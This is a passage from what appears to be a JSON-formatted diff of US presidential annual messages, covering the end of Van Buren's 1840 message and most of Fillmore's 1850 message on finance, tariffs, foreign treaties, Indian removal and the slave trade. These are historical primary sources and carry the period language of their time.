taxes upon the people\nto a greater amount than was actually necessary to the public service\nconducted upon the principles I have stated.In lieu of a national bank or a dependence upon banks of any description\nfor the management of our fiscal affairs, I recommended the adoption of the\nsystem which is now in successful operation. That system affords every\nrequisite facility for the transaction of the pecuniary concerns of the\nGovernment; will, it is confidently anticipated, produce in other respects\nmany of the benefits which have been from time to time expected from the\ncreation of a national bank, but which have never been realized; avoid the\nmanifold evils inseparable from such an institution; diminish to a greater\nextent than could be accomplished by any other measure of reform the\npatronage of the Federal Government--a wise policy in all governments, but\nmore especially so in one like ours, which works well only in proportion as\nit is made to rely for its support upon the unbiased and unadulterated\nopinions of its constituents; do away forever all dependence on corporate\nbodies either in the raising, collecting, safekeeping, or disbursing the\npublic revenues, and place the Government equally above the temptation of\nfostering a dangerous and unconstitutional institution at home or the\nnecessity of adapting its policy to the views and interests of a still more\nformidable money power abroad.It is by adopting and carrying out these principles under circumstances the\nmost arduous and discouraging that the attempt has been made, thus far\nsuccessfully, to demonstrate to the people of the United States that a\nnational bank at all times, and a national debt except it be incurred at a\nperiod when the honor and safety of the nation demand the temporary\nsacrifice of a policy which should only be abandoned in such exigencies,\nare not merely unnecessary, but in direct and deadly hostility to the\nprinciples of their Government and to their own permanent welfare.The progress made in the development of these positions appears in the\npreceding sketch of the past history and present state of the financial\nconcerns of the Federal Government. The facts there stated fully authorize\nthe assertion that all the purposes for which this Government was\ninstituted have been accomplished during four years of greater pecuniary\nembarrassment than were ever before experienced in time of peace, and in\nthe face of opposition as formidable as any that was ever before arrayed\nagainst the policy of an Administration; that this has been done when the\nordinary revenues of the Government were generally decreasing as well from\nthe operation of the laws as the condition of the country, without the\ncreation of a permanent public debt or incurring any liability other than\nsuch as the ordinary resources of the Government will speedily discharge,\nand without the agency of a national bank.If this view of the proceedings of the Government for the period it\nembraces be warranted by the facts as they are known to exist; if the Army\nand Navy have been sustained to the full extent authorized by law, and\nwhich Congress deemed sufficient for the defense of the country and the\nprotection of its rights and its honor; if its civil and diplomatic service\nhas been equally sustained; if ample provision has been made for the\nadministration of justice and the execution of the laws; if the claims upon\npublic gratitude in behalf of the soldiers of the Revolution have been\npromptly met and faithfully discharged; if there have been no failures in\ndefraying the very large expenditures growing out of that long-continued\nand salutary policy of peacefully removing the Indians to regions of\ncomparative safety and prosperity; if the public faith has at all times and\neverywhere been most scrupulously maintained by a prompt discharge of the\nnumerous, extended, and diversified claims on the Treasury--if all these\ngreat and permanent objects, with many others that might be stated, have\nfor a series of years, marked by peculiar obstacles and difficulties, been\nsuccessfully accomplished without a resort to a permanent debt or the aid\nof a national bank, have we not a right to expect that a policy the object\nof which has been to sustain the public service independently of either of\nthese fruitful sources of discord will receive the final sanction of a\npeople whose unbiased and fairly elicited judgment upon public affairs is\nnever ultimately wrong?That embarrassments in the pecuniary concerns of individuals of unexampled\nextent and duration have recently existed in this as in other commercial\nnations is undoubtedly true. To suppose it necessary now to trace these\nreverses to their sources would be a reflection on the intelligence of my\nfellow-citizens. Whatever may have been the obscurity in which the subject\nwas involved during the earlier stages of the revulsion, there can not now\nbe many by whom the whole question is not fully understood.Not deeming it within the constitutional powers of the General Government\nto repair private losses sustained by reverses in business having no\nconnection with the public service, either by direct appropriations from\nthe Treasury or by special legislation designed to secure exclusive\nprivileges and immunities to individuals or classes in preference to or at\nthe expense of the great majority necessarily debarred from any\nparticipation in them, no attempt to do so has been either made,\nrecommended, or encouraged by the present Executive.It is believed, however, that the great purposes for the attainment of\nwhich the Federal Government was instituted have not been lost sight of.\nIntrusted only with certain limited powers, cautiously enumerated,\ndistinctly specified, and defined with a precision and clearness which\nwould seem to defy misconstruction, it has been my constant aim to confine\nmyself within the limits so clearly marked out and so carefully guarded.\nHaving always been of opinion that the best preservative of the union of\nthe States is to be found in a total abstinence from the exercise of all\ndoubtful powers on the part of the Federal Government rather than in\nattempts to assume them by a loose construction of the Constitution or an\ningenious perversion of its words, I have endeavored to avoid recommending\nany measure which I had reason to apprehend would, in the opinion even of a\nconsiderable minority of my fellow-citizens, be regarded as trenching on\nthe rights of the States or the provisions of the hallowed instrument of\nour Union. Viewing the aggregate powers of the Federal Government as a\nvoluntary concession of the States, it seemed to me that such only should\nbe exercised as were at the time intended to be given.I have been strengthened, too, in the propriety of this course by the\nconviction that all efforts to go beyond this tend only to produce\ndissatisfaction and distrust, to excite jealousies, and to provoke\nresistance. Instead of adding strength to the Federal Government, even when\nsuccessful they must ever prove a source of incurable weakness by\nalienating a portion of those whose adhesion is indispensable to the great\naggregate of united strength and whose voluntary attachment is in my\nestimation far more essential to the efficiency of a government strong in\nthe best of all possible strength--the confidence and attachment of all\nthose who make up its constituent elements.Thus believing, it has been my purpose to secure to the whole people and to\nevery member of the Confederacy, by general, salutary, and equal laws\nalone, the benefit of those republican institutions which it was the end\nand aim of the Constitution to establish, and the impartial influence of\nwhich is in my judgment indispensable to their preservation. I can not\nbring myself to believe that the lasting happiness of the people, the\nprosperity of the States, or the permanency of their Union can be\nmaintained by giving preference or priority to any class of citizens in the\ndistribution of benefits or privileges, or by the adoption of measures\nwhich enrich one portion of the Union at the expense of another; nor can I\nsee in the interference of the Federal Government with the local\nlegislation and reserved rights of the States a remedy for present or a\nsecurity against future dangers.The first, and assuredly not the least, important step toward relieving the\ncountry from the condition into which it had been plunged by excesses in\ntrade, banking, and credits of all kinds was to place the business\ntransactions of the Government itself on a solid basis, giving and\nreceiving in all cases value for value, and neither countenancing nor\nencouraging in others that delusive system of credits from which it has\nbeen found so difficult to escape, and which has left nothing behind it but\nthe wrecks that mark its fatal career.That the financial affairs of the Government are now and have been during\nthe whole period of these wide-spreading difficulties conducted with a\nstrict and invariable regard to this great fundamental principle, and that\nby the assumption and maintenance of the stand thus taken on the very\nthreshold of the approaching crisis more than by any other cause or causes\nwhatever the community at large has been shielded from the incalculable\nevils of a general and indefinite suspension of specie payments, and a\nconsequent annihilation for the whole period it might have lasted of a just\nand invariable standard of value, will, it is believed, at this period\nscarcely be questioned.A steady adherence on the part of the Government to the policy which has\nproduced such salutary results, aided by judicious State legislation and,\nwhat is not less .important, by the industry, enterprise, perseverance, and\neconomy of the American people, can not fail to raise the whole country at\nan early period to a state of solid and enduring prosperity, not subject to\nbe again overthrown by the suspension of banks or the explosion of a\nbloated credit system. It is for the people and their representatives to\ndecide whether or not the permanent welfare of the country (which all good\ncitizens equally desire, however widely they may differ as to the means of\nits accomplishment) shall be in this way secured, or whether the management\nof the pecuniary concerns of the Government, and by consequence to a great\nextent those of individuals also, shall be carried back to a condition of\nthings which fostered those contractions and expansions of the currency and\nthose reckless abuses of credit from the baleful effects of which the\ncountry has so deeply suffered--a return that can promise in the end no\nbetter results than to reproduce the embarrassments the Government has\nexperienced, and to remove from the shoulders of the present to those of\nfresh victims the bitter fruits of that spirit of speculative enterprise to\nwhich our countrymen are so liable and upon which the lessons of experience\nare so unavailing. The choice is an important one, and I sincerely hope\nthat it may be wisely made.A report from the Secretary of War, presenting a detailed view of the\naffairs of that Department, accompanies this communication.The desultory duties connected with the removal of the Indians, in which\nthe Army has been constantly engaged on the northern and western frontiers\nand in Florida, have rendered it impracticable to carry into full effect\nthe plan recommended by the Secretary for improving its discipline. In\nevery instance where the regiments have been concentrated they have made\ngreat progress, and the best results may be anticipated from a continuance\nof this system. During the last season a part of the troops have been\nemployed in removing Indians from the interior to the territory assigned\nthem in the West--a duty which they have performed efficiently and with\npraiseworthy humanity--and that portion of them which has been stationed in\nFlorida continued active operations there throughout the heats of summer.The policy of the United States in regard to the Indians, of which a\nsuccinct account is given in my message of 1838, and of the wisdom and\nexpediency of which I am fully satisfied, has been continued in active\noperation throughout the whole period of my Administration. Since the\nspring of 1837 more than 40,000 Indians have been removed to their new\nhomes west of the Mississippi, and I am happy to add that all accounts\nconcur in representing the result of this measure as eminently beneficial\nto that people.The emigration of the Seminoles alone has been attended with serious\ndifficulty and occasioned bloodshed, hostilities having been commenced by\nthe Indians in Florida under the apprehension that they would be compelled\nby force to comply with their treaty stipulations. The execution of the\ntreaty of Paynes Landing, signed in 1832, but not ratified until 1834, was\npostponed at the solicitation of the Indians until 1836, when they again\nrenewed their agreement to remove peaceably to their new homes in the West.\nIn the face of this solemn and renewed compact they broke their faith and\ncommenced hostilities by the massacre of Major Dade's command, the murder\nof their agent, General Thompson, and other acts of cruel treachery. When\nthis alarming and unexpected intelligence reached the seat of Government,\nevery effort appears to have been made to reenforce General Clinch, who\ncommanded the troops then in Florida. General Eustis was dispatched with\nreenforcements from Charleston, troops were called out from Alabama,\nTennessee, and Georgia, and General Scott was sent to take the command,\nwith ample powers and ample means. At the first alarm General Gaines\norganized a force at New Orleans, and without waiting for orders landed in\nFlorida, where he delivered over the troops he had brought with him to\nGeneral Scott.Governor Call was subsequently appointed to conduct a summer campaign, and\nat the close of it was replaced by General Jesup. These events and changes\ntook place under the Administration of my predecessor. Notwithstanding the\nexertions of the experienced officers who had command there for eighteen\nmonths, on entering upon the administration of the Government I found the\nTerritory of Florida a prey to Indian atrocities. A strenuous effort was\nimmediately made to bring those hostilities to a close, and the army under\nGeneral Jesup was reenforced until it amounted to 10,000 men, and furnished\nwith abundant supplies of every description. In this campaign a great\nnumber of the enemy were captured and destroyed, but the character of the\ncontest only was changed. The Indians, having been defeated in every\nengagement, dispersed in small bands throughout the country and became an\nenterprising, formidable, and ruthless banditti. General Taylor, who\nsucceeded General Jesup, used his best exertions to subdue them, and was\nseconded in his efforts by the officers under his command; but he too\nfailed to protect the Territory from their depredations. By an act of\nsignal and cruel treachery they broke the truce made with them by General\nMacGrab, who was sent from Washington for the purpose of carrying into\neffect the expressed wishes of Congress, and have continued their\ndevastations ever since. General Armistead, who was in Florida when General\nTaylor left the army by permission, assumed the command, and after active\nsummer operations was met by propositions for peace, and from the fortunate\ncoincidence of the arrival in Florida at the same period of a delegation\nfrom the Seminoles who are happily settled west of the Mississippi and are\nnow anxious to persuade their countrymen to join them there hopes were for\nsome time entertained that the Indians might be induced to leave the\nTerritory without further difficulty. These hopes have proved fallacious\nand hostilities have been renewed throughout the whole of the Territory.\nThat this contest has endured so long is to be attributed to causes beyond\nthe control of the Government. Experienced generals have had the command of\nthe troops, officers and soldiers have alike distinguished themselves for\ntheir activity, patience, and enduring courage, the army has been\nconstantly furnished with supplies of every description, and we must look\nfor the causes which have so long procrastinated the issue of the contest\nin the vast extent of the theater of hostilities, the almost insurmountable\nobstacles presented by the nature of the country, the climate, and the wily\ncharacter of the savages.The sites for marine hospitals on the rivers and lakes which I was\nauthorized to select and cause to be purchased have all been designated,\nbut the appropriation not proving sufficient, conditional arrangements only\nhave been made for their acquisition. It is for Congress to decide whether\nthese Conditional purchases shall be sanctioned and the humane intentions\nof the law carried into full effect.The Navy, as will appear from the accompanying report of the Secretary, has\nbeen usefully and honorably employed in the protection of our commerce and\ncitizens in the Mediterranean, the Pacific, on the coast of Brazil, and in\nthe Gulf of Mexico. A small squadron, consisting of the frigate\nConstellation and the sloop of war Boston, under Commodore Kearney, is now\non its way to the China and Indian seas for the purpose of attending to our\ninterests in that quarter, and Commander Aulick, in the sloop of war\nYorktown, has been instructed to visit the Sandwich and Society islands,\nthe coasts of New Zealand and Japan, together with other ports and islands\nfrequented by our whale ships, for the purpose of giving them countenance\nand protection should they be required. Other smaller vessels have been and\nstill are employed in prosecuting the surveys of the coast of the United\nStates directed by various acts of Congress, and those which have been\ncompleted will shortly be laid before you.The exploring expedition at the latest date was preparing to leave the Bay\nof Islands, New Zealand, in further prosecution of objects which have thus\nfar been successfully accomplished. The discovery of a new continent, which\nwas first seen in latitude 66  2' south, longitude 154  27' east,\nand afterwards in latitude 66  31' south, longitude 153  40' east,\nby Lieutenants Wilkes and Hudson, for an extent of 1,800 miles, but on\nwhich they were prevented from landing by vast bodies of ice which\nencompassed it, is one of the honorable results of the enterprise.\nLieutenant Wilkes bears testimony to the zeal and good conduct of his\nofficers and men, and it is but justice to that officer to state that he\nappears to have performed the duties assigned him with an ardor, ability,\nand perseverance which give every assurance of an honorable issue to the\nundertaking.The report of the Postmaster-General herewith transmitted will exhibit the\nservice of that Department the past year and its present condition. The\ntransportation has been maintained during the year to the full extent\nauthorized by the existing laws; some improvements have been effected which\nthe public interest seemed urgently to demand, but not involving any\nmaterial additional expenditure; the contractors have generally performed\ntheir engagements with fidelity; the postmasters, with few exceptions, have\nrendered their accounts and paid their quarterly balances with promptitude,\nand the whole service of the Department has maintained the efficiency for\nwhich it has for several years been distinguished.The acts of Congress establishing new mail routes and requiring more\nexpensive services on others and the increasing wants of the country have\nfor three years past carried the expenditures something beyond the accruing\nrevenues, the excess having been met until the past year by the surplus\nwhich had previously accumulated. That surplus having been exhausted and\nthe anticipated increase in the revenue not having been realized owing to\nthe depression in the commercial business of the country, the finances of\nthe Department exhibit a small deficiency at the close of the last fiscal\nyear. Its resources, however, are ample, and the reduced rates of\ncompensation for the transportation service which may be expected on the\nfuture lettings from the general reduction of prices, with the increase of\nrevenue that may reasonably be anticipated from the revival of commercial\nactivity, must soon place the finances of the Department in a prosperous\ncondition.Considering the unfavorable circumstances which have existed during the\npast year, it is a gratifying result that the revenue has not declined as\ncompared with the preceding year, but, on the contrary, exhibits a small\nincrease, the circumstances referred to having had no other effect than to\ncheck the expected income.It will be seen that the Postmaster-General suggests certain improvements\nin the establishment designed to reduce the weight of the mails, cheapen\nthe transportation, insure greater regularity in the service, and secure a\nconsiderable reduction in the rates of letter postage--an object highly\ndesirable. The subject is one of general interest to the community, and is\nrespectfully recommended to your consideration.The suppression of the African slave trade has received the continued\nattention of the Government. The brig Dolphin and schooner Grampus have\nbeen employed during the last season on the coast of Africa for the purpose\nof preventing such portions of that trade as were said to be prosecuted\nunder the American flag. After cruising off those parts of the coast most\nusually resorted to by slavers until the commencement of the rainy season,\nthese vessels returned to the United States for supplies, and have since\nbeen dispatched on a similar service.From the reports of the commanding officers it appears that the trade is\nnow principally carried on under Portuguese colors, and they express the\nopinion that the apprehension of their presence on the slave coast has in a\ngreat degree arrested the prostitution of the American flag to this inhuman\npurpose. It is hoped that by continuing to maintain this force in that\nquarter and by the exertions of the officers in command much will be done\nto put a stop to whatever portion of this traffic may have been carried on\nunder the American flag and to prevent its use in a trade which, while it\nviolates the laws, is equally an outrage on the rights of others and the\nfeelings of humanity. The efforts of the several Governments who are\nanxiously seeking to suppress this traffic must, however, be directed\nagainst the facilities afforded by what are now recognized as legitimate\ncommercial pursuits before that object can be fully accomplished.Supplies of provisions, water casks, merchandise, and articles connected\nwith the prosecution of the slave trade are, it is understood, freely\ncarried by vessels of different nations to the slave factories, and the\neffects of the factors are transported openly from one slave station to\nanother without interruption or punishment by either of the nations to\nwhich they belong engaged in the commerce of that region. I submit to your\njudgments whether this Government, having been the first to prohibit by\nadequate penalties the slave trade, the first to declare it piracy, should\nnot be the first also to forbid to its citizens all trade with the slave\nfactories on the coast of Africa, giving an example to all nations in this\nrespect which if fairly followed can not fail to produce the most effective\nresults in breaking up those dens of iniquity.M. VAN BUREN", 
+    "name": "Martin van Buren"
+}
\ No newline at end of file
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+{
+    "date": "December 2, 1850", 
+    "speech": "Fellow-Citizens of the Senate and of the House of Representatives:Being suddenly called in the midst of the last session of Congress by a\npainful dispensation of Divine Providence to the responsible station which\nI now hold, I contented myself with such communications to the Legislature\nas the exigency of the moment seemed to require. The country was shrouded\nin mourning for the loss of its venerable Chief Magistrate and all hearts\nwere penetrated with grief. Neither the time nor the occasion appeared to\nrequire or to justify on my part any general expression of political\nopinions or any announcement of the principles which would govern me in the\ndischarge of the duties to the performance of which I had been so\nunexpectedly called. I trust, therefore, that it may not be deemed\ninappropriate if I avail myself of this opportunity of the reassembling of\nCongress to make known my sentiments in a general manner in regard to the\npolicy which ought to be pursued by the Government both in its intercourse\nwith foreign nations and its management and administration of internal\naffairs.Nations, like individuals in a state of nature, are equal and independent,\npossessing certain rights and owing certain duties to each other, arising\nfrom their necessary and unavoidable relations; which rights and duties\nthere is no common human authority to protect and enforce. Still, they are\nrights and duties, binding in morals, in conscience, and in honor, although\nthere is no tribunal to which an injured party can appeal but the\ndisinterested judgment of mankind, and ultimately the arbitrament of the\nsword.Among the acknowledged rights of nations is that which each possesses of\nestablishing that form of government which it may deem most conducive to\nthe happiness and prosperity of its own citizens, of changing that form as\ncircumstances may require, and of managing its internal affairs according\nto its own will. The people of the United States claim this right for\nthemselves, and they readily concede it to others. Hence it becomes an\nimperative duty not to interfere in the government or internal policy of\nother nations; and although we may sympathize with the unfortunate or the\noppressed everywhere in their struggles for freedom, our principles forbid\nus from taking any part in such foreign contests. We make no wars to\npromote or to prevent successions to thrones, to maintain any theory of a\nbalance of power, or to suppress the actual government which any country\nchooses to establish for itself. We instigate no revolutions, nor suffer\nany hostile military expeditions to be fitted out in the United States to\ninvade the territory or provinces of a friendly nation. The great law of\nmorality ought to have a national as well as a personal and individual\napplication. We should act toward other nations as we wish them to act\ntoward us, and justice and conscience should form the rule of conduct\nbetween governments, instead of mere power, self interest, or the desire of\naggrandizement. To maintain a strict neutrality in foreign wars, to\ncultivate friendly relations, to reciprocate every noble and generous act,\nand to perform punctually and scrupulously every treaty obligation--these\nare the duties which we owe to other states, and by the performance of\nwhich we best entitle ourselves to like treatment from them; or, if that,\nin any case, be refused, we can enforce our own rights with justice and a\nclear conscience.In our domestic policy the Constitution will be my guide, and in questions\nof doubt I shall look for its interpretation to the judicial decisions of\nthat tribunal which was established to expound it and to the usage of the\nGovernment, sanctioned by the acquiescence of the country. I regard all its\nprovisions as equally binding. In all its parts it is the will of the\npeople expressed in the most solemn form, and the constituted authorities\nare but agents to carry that will into effect. Every power which it has\ngranted is to be exercised for the public good; but no pretense of utility,\nno honest conviction, even, of what might be expedient, can justify the\nassumption of any power not granted. The powers conferred upon the\nGovernment and their distribution to the several departments are as clearly\nexpressed in that sacred instrument as the imperfection of human language\nwill allow, and I deem it my first duty not to question its wisdom, add to\nits provisions, evade its requirements, or nullify its commands.Upon you, fellow-citizens, as the representatives of the States and the\npeople, is wisely devolved the legislative power. I shall comply with my\nduty in laying before you from time to time any information calculated to\nenable you to discharge your high and responsible trust for the benefit of\nour common constituents.My opinions will be frankly expressed upon the leading subjects of\nlegislation; and if--which I do not anticipate--any act should pass the two\nHouses of Congress which should appear to me unconstitutional, or an\nencroachment on the just powers of other departments, or with provisions\nhastily adopted and likely to produce consequences injurious and\nunforeseen, I should not shrink from the duty of returning it to you, with\nmy reasons, for your further consideration. Beyond the due performance of\nthese constitutional obligations, both my respect for the Legislature and\nmy sense of propriety will restrain me from any attempt to control or\ninfluence your proceedings. With you is the power, the honor, and the\nresponsibility of the legislation of the country.The Government of the United States is a limited Government. It is confined\nto the exercise of powers expressly granted and such others as may be\nnecessary for carrying those powers into effect; and it is at all times an\nespecial duty to guard against any infringement on the just rights of the\nStates. Over the objects and subjects intrusted to Congress its legislative\nauthority is supreme. But here that authority ceases, and every citizen who\ntruly loves the Constitution and desires the continuance of its existence\nand its blessings will resolutely and firmly resist any interference in\nthose domestic affairs which the Constitution has dearly and unequivocally\nleft to the exclusive authority of the States. And every such citizen will\nalso deprecate useless irritation among the several members of the Union\nand all reproach and crimination tending to alienate one portion of the\ncountry from another. The beauty of our system of government consists, and\nits safety and durability must consist, in avoiding mutual collisions and\nencroachments and in the regular separate action of all, while each is\nrevolving in its own distinct orbit.The Constitution has made it the duty of the President to take care that\nthe laws be faithfully executed. In a government like ours, in which all\nlaws are passed by a majority of the representatives of the people, and\nthese representatives are chosen for such short periods that any injurious\nor obnoxious law can very soon be repealed, it would appear unlikely that\nany great numbers should be found ready to resist the execution of the\nlaws. But it must be borne in mind that the country is extensive; that\nthere may be local interests or prejudices rendering a law odious in one\npart which is not so in another, and that the thoughtless and\ninconsiderate, misled by their passions or their imaginations, may be\ninduced madly to resist such laws as they disapprove. Such persons should\nrecollect that without law there can be no real practical liberty; that\nwhen law is trampled under foot tyranny rules, whether it appears in the\nform of a military despotism or of popular violence. The law is the only\nsure protection of the weak and the only efficient restraint upon the\nstrong. When impartially and faithfully administered, none is beneath its\nprotection and none above its control. You, gentlemen, and the country may\nbe assured that to the utmost of my ability and to the extent of the power\nvested in me I shall at all times and in all places take care that the laws\nbe faithfully executed. In the discharge of this duty, solemnly imposed\nupon me by the Constitution and by my oath of office, I shall shrink from\nno responsibility, and shall endeavor to meet events as they may arise with\nfirmness, as well as with prudence and discretion.The appointing power is one of the most delicate with which the Executive\nis invested. I regard it as a sacred trust, to be exercised with the sole\nview of advancing the prosperity and happiness of the people. It shall be\nmy effort to elevate the standard of official employment by selecting for\nplaces of importance individuals fitted for the posts to which they are\nassigned by their known integrity, talents, and virtues. In so extensive a\ncountry, with so great a population, and where few persons appointed to\noffice can be known to the appointing power, mistakes will sometimes\nunavoidably happen and unfortunate appointments be made notwithstanding the\ngreatest care. In such cases the power of removal may be properly\nexercised; and neglect of duty or malfeasance in office will be no more\ntolerated in individuals appointed by myself than in those appointed by\nothers. I am happy in being able to say that no unfavorable change in our\nforeign relations has taken place since the message at the opening of the\nlast session of Congress. We are at peace with all nations and we enjoy in\nan eminent degree the blessings of that peace in a prosperous and growing\ncommerce and in all the forms of amicable national intercourse. The\nunexampled growth of the country, the present amount of its population, and\nits ample means of self-protection assure for it the respect of all\nnations, while it is trusted that its character for justice and a regard to\nthe rights of other States will cause that respect to be readily and\ncheerfully paid.A convention was negotiated between the United States and Great Britain in\nApril last for facilitating and protecting the construction of a ship canal\nbetween the Atlantic and Pacific oceans and for other purposes. The\ninstrument has since been ratified by the contracting parties, the exchange\nof ratifications has been effected, and proclamation thereof has been duly\nmade.In addition to the stipulations contained in this convention, two other\nobjects remain to be accomplished between the contracting powers: First.\nThe designation and establishment of a free port at each end of the canal.Second. An agreement fixing the distance from the shore within which\nbelligerent maritime operations shall not be carried on. On these points\nthere is little doubt that the two Governments will come to an\nunderstanding.The company of citizens of the United States who have acquired from the\nState of Nicaragua the privilege of constructing a ship canal between the\ntwo oceans through the territory of that State have made progress in their\npreliminary arrangements. The treaty between the United States and Great\nBritain of the 19th of April last, above referred to, being now in\noperation, it is to be hoped that the guaranties which it offers will be\nsufficient to secure the completion of the work with all practicable\nexpedition. It is obvious that this result would be indefinitely postponed\nif any other than peaceful measures for the purpose of harmonizing\nconflicting claims to territory in that quarter should be adopted. It will\nconsequently be my endeavor to cause any further negotiations on the part\nof this Government which may be requisite for this purpose to be so\nconducted as to bring them to a speedy and successful close.Some unavoidable delay has occurred, arising from distance and the\ndifficulty of intercourse between this Government and that of Nicaragua,\nbut as intelligence has just been received of the appointment of an envoy\nextraordinary and minister plenipotentiary of that Government to reside at\nWashington, whose arrival may soon be expected, it is hoped that no further\nimpediments will be experienced in the prompt transaction of business\nbetween the two Governments.Citizens of the United States have undertaken the connection of the two\noceans by means of a railroad across the Isthmus of Tehuantepec, under\ngrants of the Mexican Government to a citizen of that Republic. It is\nunderstood that a thorough survey of the course of the communication is in\npreparation, and there is every reason to expect that it will be prosecuted\nwith characteristic energy, especially when that Government shall have\nconsented to such stipulations with the Government of the United States as\nmay be necessary to impart a feeling of security to those who may embark\ntheir property in the enterprise. Negotiations are pending for the\naccomplishment of that object, and a hope is confidently entertained that\nwhen the Government of Mexico shall become duly sensible of the advantages\nwhich that country can not fail to derive from the work, and learn that the\nGovernment of the United States desires that the right of sovereignty of\nMexico in the Isthmus shall remain unimpaired, the stipulations referred to\nwill be agreed to with alacrity.By the last advices from Mexico it would appear, however, that that\nGovernment entertains strong objections to some of the stipulations which\nthe parties concerned in the project of the railroad deem necessary for\ntheir protection and security. Further consideration, it is to be hoped, or\nsome modification of terms, may yet reconcile the differences existing\nbetween the two Governments in this respect.Fresh instructions have recently been given to the minister of the United\nStates in Mexico, who is prosecuting the subject with promptitude and\nability.Although the negotiations with Portugal for the payment of claims of\ncitizens of the United States against that Government have not yet resulted\nin a formal treaty, yet a proposition, made by the Government of Portugal\nfor the final adjustment and payment of those claims, has recently been\naccepted on the part of the United States. It gives me pleasure to say that\nMr. Clay, to whom the negotiation on the part of the United States had been\nintrusted, discharged the duties of his appointment with ability and\ndiscretion, acting always within the instructions of his Government.It is expected that a regular convention will be immediately negotiated for\ncarrying the agreement between the two Governments into effect. The\ncommissioner appointed under the act of Congress for carrying into effect\nthe convention with Brazil of the 27th of January, 1849, has entered upon\nthe performance of the duties imposed upon him by that act. It is hoped\nthat those duties may be completed within the time which it prescribes. The\ndocuments, however, which the Imperial Government, by the third article of\nthe convention, stipulates to furnish to the Government of the United\nStates have not yet been received. As it is presumed that those documents\nwill be essential for the correct disposition of the claims, it may become\nnecessary for Congress to extend the period limited for the duration of the\ncommission. The sum stipulated by the fourth article of the convention to\nbe paid to this Government has been received.The collection in the ports of the United States of discriminating duties\nupon the vessels of Chili and their cargoes has been suspended, pursuant to\nthe provisions of the act of Congress of the 24th of May, 1828. It is to be\nhoped that this measure will impart a fresh impulse to the commerce between\nthe two countries, which of late, and especially since our acquisition of\nCalifornia, has, to the mutual advantage of the parties, been much\naugmented.Peruvian guano has become so desirable an article to the agricultural\ninterest of the United States that it is the duty of the Government to\nemploy all the means properly in its power for the purpose of causing that\narticle to be imported into the country at a reasonable price. Nothing will\nbe omitted on my part toward accomplishing this desirable end. I am\npersuaded that in removing any restraints on this traffic the Peruvian\nGovernment will promote its own best interests, while it will afford a\nproof of a friendly disposition toward this country, which will be duly\nappreciated.The treaty between the United States and His Majesty the King of the\nHawaiian Islands, which has recently been made public, will, it is\nbelieved, have a beneficial effect upon the relations between the two\ncountries.The relations between those parts of the island of St. Domingo which were\nformerly colonies of Spain and France, respectively, are still in an\nunsettled condition. The proximity of that island to the United States and\nthe delicate questions involved in the existing controversy there render it\ndesirable that it should be permanently and speedily adjusted. The\ninterests of humanity and of general commerce also demand this; and as\nintimations of the same sentiment have been received from other\ngovernments, it is hoped that some plan may soon be devised to effect the\nobject in a manner likely to give general satisfaction. The Government of\nthe United States will not fail, by the exercise of all proper friendly\noffices, to do all in its power to put an end to the destructive war which\nhas raged between the different parts of the island and to secure to them\nboth the benefits of peace and commerce.I refer you to the report of the Secretary of the Treasury for a detailed\nstatement of the finances.The total receipts into the Treasury for the year ending 30th of June last\nwere $47,421,748.90. The total expenditures during the same period were\n$43,002,168.90. The public debt has been reduced since the last annual\nreport from the Treasury Department $495,276.79.By the nineteenth section of the act of 28th January, 1847, the proceeds of\nthe sales of the public lands were pledged for the interest and principal\nof the public debt. The great amount of those lands subsequently granted by\nCongress for military bounties will, it is believed, very nearly supply the\npublic demand for several years to come, and but little reliance can,\ntherefore, be placed on that hitherto fruitful source of revenue. Aside\nfrom the permanent annual expenditures, which have necessarily largely\nincreased, a portion of the public debt, amounting to $8,075,986.59, must\nbe provided for within the next two fiscal years. It is most desirable that\nthese accruing demands should be met without resorting to new loans.All experience has demonstrated the wisdom and policy of raising a large\nportion of revenue for the support of Government from duties on goods\nimported. The power to lay these duties is unquestionable, and its chief\nobject, of course, is to replenish the Treasury. But if in doing this an\nincidental advantage may be gained by encouraging the industry of our own\ncitizens, it is our duty to avail ourselves of that advantage.A duty laid upon an article which can not be produced in this country, such\nas tea or coffee, adds to the cost of the article, and is chiefly or wholly\npaid by the consumer. But a duty laid upon an article which may be produced\nhere stimulates the skill and industry of our own country to produce the\nsame article, which is brought into the market in competition with the\nforeign article, and the importer is thus compelled to reduce his price to\nthat at which the domestic article can be sold, thereby throwing a part of\nthe duty upon the producer of the foreign article. The continuance of this\nprocess creates the skill and invites the capital which finally enable us\nto produce the article much cheaper than it could have been procured from\nabroad, thereby benefiting both the producer and the consumer at home. The\nconsequence of this is that the artisan and the agriculturist are brought\ntogether, each affords a ready market for the produce of the other, the\nwhole country becomes prosperous, and the ability to produce every\nnecessary of life renders us independent in war as well as in peace.A high tariff can never be permanent. It will cause dissatisfaction, and\nwill be changed. It excludes competition, and thereby invites the\ninvestment of capital in manufactures to such excess that when changed it\nbrings distress, bankruptcy, and ruin upon all who have been misled by its\nfaithless protection. What the manufacturer wants is uniformity and\npermanency, that he may feel a confidence that he is not to be ruined by\nsudden exchanges. But to make a tariff uniform and permanent it is not only\nnecessary that the laws should not be altered, but that the duty should not\nfluctuate. To effect this all duties should be specific wherever the nature\nof the article is such as to admit of it. Ad valorem duties fluctuate with\nthe price and offer strong temptations to fraud and perjury. Specific\nduties, on the contrary, are equal and uniform in all ports and at all\ntimes, and offer a strong inducement to the importer to bring the best\narticle, as he pays no more duty upon that than upon one of inferior\nquality. I therefore strongly recommend a modification of the present\ntariff, which has prostrated some of our most important and necessary\nmanufactures, and that specific duties be imposed sufficient to raise the\nrequisite revenue, making such discriminations in favor of the industrial\npursuits of our own country as to encourage home production without\nexcluding foreign competition. It is also important that an unfortunate\nprovision in the present tariff, which imposes a much higher duty upon the\nraw material that enters into our manufactures than upon the manufactured\narticle, should be remedied.The papers accompanying the report of the Secretary of the Treasury will\ndisclose frauds attempted upon the revenue, in variety and amount so great\nas to justify the conclusion that it is impossible under any system of ad\nvalorem duties levied upon the foreign cost or value of the article to\nsecure an honest observance and an effectual administration of the laws.\nThe fraudulent devices to evade the law which have been detected by the\nvigilance of the appraisers leave no room to doubt that similar impositions\nnot discovered, to a large amount, have been successfully practiced since\nthe enactment of the law now in force. This state of things has already had\na prejudicial influence upon those engaged in foreign commerce. It has a\ntendency to drive the honest trader from the business of importing and to\nthrow that important branch of employment into the hands of unscrupulous\nand dishonest men, who are alike regardless of law and the obligations of\nan oath. By these means the plain intentions of Congress, as expressed in\nthe law, are daily defeated. Every motive of policy and duty, therefore,\nimpels me to ask the earnest attention of Congress to this subject. If\nCongress should deem it unwise to attempt any important changes in the\nsystem of levying duties at this session, it will become indispensable to\nthe protection of the revenue that such remedies as in the judgment of\nCongress may mitigate the evils 